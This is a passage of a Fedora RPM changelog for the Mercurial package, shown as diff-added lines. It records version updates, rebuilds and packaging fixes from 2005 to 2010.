1.6.4-4 +- Try another way to own directories + +* Wed Oct 20 2010 Neal Becker - 1.6.4-3 +- Fixup unowned directories + +* Wed Oct 6 2010 Neal Becker - 1.6.4-3 +- patch i18n.py so hg will find moved locale files + +* Fri Oct 1 2010 Neal Becker - 1.6.4-1 +- Update to 1.6.4 + +* Fri Aug 27 2010 Neal Becker - 1.6.3-1 +- Fix some rpmlint issues + +* Thu Aug 26 2010 Neal Becker - 1.6.3-1 +- Update to 1.6.3 + +* Mon Aug 2 2010 Neal Becker - 1.6.2-1 +- Update to 1.6.2 + +* Wed Jul 21 2010 David Malcolm - 1.6-4 +- Rebuilt for https://fedoraproject.org/wiki/Features/Python_2.7/MassRebuild + +* Sun Jul 4 2010 Neal Becker - 1.6-2 +- Remove hg-viz, git-rev-tree + +* Sun Jul 4 2010 Neal Becker - 1.6-1 +- Update to 1.6 +- git-viz is removed + +* Fri Jun 25 2010 Neal Becker - 1.5.4-1 +- Don't install mercurial-convert-repo (use hg convert instead) + +* Wed Jun 2 2010 Neal Becker - 1.5.4-1 +- Update to 1.5.4 + +* Fri May 14 2010 Neal Becker - 1.5.3-1 +- Update to 1.5.3 + +* Mon May 3 2010 Neal Becker - 1.5.2-1 +- update to 1.5.2 + +* Mon Apr 5 2010 Neal Becker - 1.5.1-1 +- Update to 1.5.1 + +* Sat Mar 6 2010 Neal Becker - 1.5-2 +- doc/ja seems to be gone + +* Sat Mar 6 2010 Neal Becker - 1.5-1 +- Update to 1.5 + +* Fri Feb 5 2010 Neal Becker - 1.4.3-2 +- License changed to gplv2+ + +* Mon Feb 1 2010 Neal Becker - 1.4.3-1 +- Update to 1.4.3 + +* Sat Jan 2 2010 Neal Becker - 1.4.2-1 +- Update to 1.4.2 + +* Wed Dec 2 2009 Neal Becker - 1.4.1-1 +- Update to 1.4.1 + +* Mon Nov 16 2009 Neal Becker - 1.4-1.1 +- Bump to 1.4-1.1 + +* Mon Nov 16 2009 Neal Becker - 1.4-1 +- Update to 1.4 + +* Fri Jul 24 2009 Neal Becker - 1.3.1-3 +- Disable self-tests + +* Fri Jul 24 2009 Neal Becker - 1.3.1-2 +- Update to 1.3.1 + +* Wed Jul 1 2009 Neal Becker - 1.3-2 +- Re-enable tests since they now pass + +* Wed Jul 1 2009 Neal Becker - 1.3-1 +- Update to 1.3 + +* Sat Mar 21 2009 Neal Becker - 1.2.1-1 +- Update to 1.2.1 +- Tests remain disabled due to failures + +* Wed Mar 4 2009 Neal Becker - 1.2-2 +- patch0 for filemerge bug should not be needed + +* Wed Mar 4 2009 Neal Becker - 1.2-1 +- Update to 1.2 + +* Tue Feb 24 2009 Neal Becker - 1.1.2-7 +- Use noreplace option on config + +* Mon Feb 23 2009 Neal Becker - 1.1.2-6 +- Fix typo + +* Mon Feb 23 2009 Neal Becker - 1.1.2-5 +- Own directories bash_completion.d and zsh/site-functions + https://bugzilla.redhat.com/show_bug.cgi?id=487015 + +* Mon Feb 9 2009 Neal Becker - 1.1.2-4 +- Mark mergetools.rc as config + +* Sat Feb 7 2009 Neal Becker - 1.1.2-3 +- Patch mergetools.rc to fix filemerge bug + +* Thu Jan 1 2009 Neal Becker - 1.1.2-2 +- Rename mergetools.rc -> mergetools.rc.sample + +* Thu Jan 1 2009 Neal Becker - 1.1.2-1 +- Update to 1.1.2 + +* Wed Dec 24 2008 Neal Becker - 1.1.1-3 +- Install mergetools.rc as mergetools.rc.sample + +* Sun Dec 21 2008 Neal Becker - 1.1.1-2 +- Fix typo + +* Sun Dec 21 2008 Neal Becker - 1.1.1-1 +- Update to 1.1.1 + +* Thu Dec 04 2008 Ignacio Vazquez-Abrams - 1.1-2 +- Rebuild for Python 2.6 + +* Tue Dec 2 2008 Neal Becker - 1.1-1 +- Update to 1.1 + +* Mon Dec 1 2008 Neal Becker - 1.0.2-4 +- Bump tag + +* Mon Dec 1 2008 Neal Becker - 1.0.2-3 +- Remove BR asciidoc +- Use macro for python executable + +* Sat Nov 29 2008 Ignacio Vazquez-Abrams - 1.0.2-2 +- Rebuild for Python 2.6 + +* Fri Aug 15 2008 Neal Becker - 1.0.2-1 +- Update to 1.0.2 + +* Sun Jun 15 2008 Neal Becker - 1.0.1-4 +- Bitten by expansion of commented out macro (again) + +* Sun Jun 15 2008 Neal Becker - 1.0.1-3 +- Add BR pkgconfig + +* Sun Jun 15 2008 Neal Becker - 1.0.1-2 +- Update to 1.0.1 +- Fix emacs_version, etc macros (need expand) +- Remove patch0 + +* Mon Jun 2 2008 Neal Becker - 1.0-15 +- Bump release tag + +* Thu Apr 17 2008 Neal Becker - 1.0-14 +- Oops, fix %%files due to last change + +* Wed Apr 16 2008 Neal Becker - 1.0-13 +- install mergetools.hgrc as mergetools.rc + +* Sat Apr 12 2008 Neal Becker - 1.0-12 +- Remove xemacs pkg - this is moved to xemacs-extras +- Own %{python_sitearch}/{mercurial,hgext} dirs + +* Thu Apr 10 2008 Neal Becker - 1.0-11 +- Use install -p to install .el{c} files +- Don't (load mercurial) by default. + +* Wed Apr 9 2008 Neal Becker - 1.0-10 +- Patch to hgk from Mads Kiilerich + +* Tue Apr 8 2008 Neal Becker - 1.0-9 +- Add '-l mercurial.el' for emacs also + +* Tue Apr 8 2008 Neal Becker - 1.0-8 +- BR xemacs-packages-extra + +* Tue Apr 8 2008 Neal Becker - 1.0-7 +- Various fixes + +* Tue Apr 8 2008 Neal Becker - 1.0-6 +- fix to comply with emacs packaging guidelines + +* Thu Mar 27 2008 Neal Becker - 1.0-5 +- Move hgk-related py files to hgk +- Put mergetools.hgrc in /etc/mercurial/hgrc.d +- Add hgk.rc and put in /etc/mercurial/hgrc.d + +* Wed Mar 26 2008 Neal Becker - 1.0-4 +- Rename mercurial-site-start -> mercurial-site-start.el + +* Wed Mar 26 2008 Neal Becker - 1.0-3 +- Incorprate suggestions from hopper@omnifarious.org + +* Wed Mar 26 2008 Neal Becker - 1.0-2 +- Add site-start + +* Tue Mar 25 2008 Neal Becker - 1.0-1 +- Update to 1.0 +- Disable check for now - 1 test fails +- Move emacs to separate package +- Add check + +* Tue Feb 19 2008 Fedora Release Engineering - 0.9.5-7 +- Autorebuild for GCC 4.3 + +* Fri Nov 9 2007 Neal Becker - 0.9.5-6 +- rpmlint fixes + +* Fri Nov 9 2007 Neal Becker - 0.9.5-5 +- /etc/mercurial/hgrc.d missing + +* Fri Nov 9 2007 Neal Becker - 0.9.5-3 +- Fix to last change + +* Fri Nov 9 2007 Neal Becker - 0.9.5-2 +- mkdir /etc/mercurial/hgrc.d for plugins + +* Tue Oct 23 2007 - 0.9.5-2 +- Bump tag to fix confusion + +* Mon Oct 15 2007 Neal Becker - 0.9.5-1 +- Sync with spec file from mercurial + +* Sat Sep 22 2007 Neal Becker - 0.9.4-8 +- Just cp contrib tree. +- Revert install -O2 + +* Thu Sep 20 2007 Neal Becker - 0.9.4-7 +- Change setup.py install to -O2 to get bytecompile on EL-4 + +* Thu Sep 20 2007 Neal Becker - 0.9.4-6 +- Revert last change. + +* Thu Sep 20 2007 Neal Becker - 0.9.4-5 +- Use {ghost} on contrib, otherwise EL-4 build fails + +* Thu Sep 20 2007 Neal Becker - 0.9.4-4 +- remove {_datadir}/contrib stuff for now + +* Thu Sep 20 2007 Neal Becker - 0.9.4-3 +- Fix mercurial-install-contrib.patch (/usr/share/mercurial->/usr/share/mercurial/contrib) + +* Wed Aug 29 2007 Jonathan Shapiro - 0.9.4-2 +- update to 0.9.4-2 +- install contrib directory +- set up required path for hgk +- install man5 man pages + +* Thu Aug 23 2007 Neal Becker - 0.9.4-1 +- update to 0.9.4 + +* Wed Jan 3 2007 Jeremy Katz - 0.9.3-1 +- update to 0.9.3 +- remove asciidoc files now that we have them as manpages + +* Mon Dec 11 2006 Jeremy Katz - 0.9.2-1 +- update to 0.9.2 + +* Mon Aug 28 2006 Jeremy Katz - 0.9.1-2 +- rebuild + +* Tue Jul 25 2006 Jeremy Katz - 0.9.1-1 +- update to 0.9.1 + +* Fri May 12 2006 Mihai Ibanescu - 0.9-1 +- update to 0.9 + +* Mon Apr 10 2006 Jeremy Katz - 0.8.1-1 +- update to 0.8.1 +- add man pages (#188144) + +* Fri Mar 17 2006 Jeremy Katz - 0.8-3 +- rebuild + +* Fri Feb 17 2006 Jeremy Katz - 0.8-2 +- rebuild + +* Mon Jan 30 2006 Jeremy Katz - 0.8-1 +- update to 0.8 + +* Thu Sep 22 2005 Jeremy Katz +- add contributors to %%doc + +* Tue Sep 20 2005 Jeremy Katz - 0.7 +- update to 0.7 + +* Mon Aug 22 2005 Jeremy Katz - 0.6c +- update to 0.6c + +* Tue Jul 12 2005 Jeremy Katz - 0.6b +- update to new upstream 0.6b + +* Fri Jul 1 2005 Jeremy Katz - 0.6-1 +- Initial build. +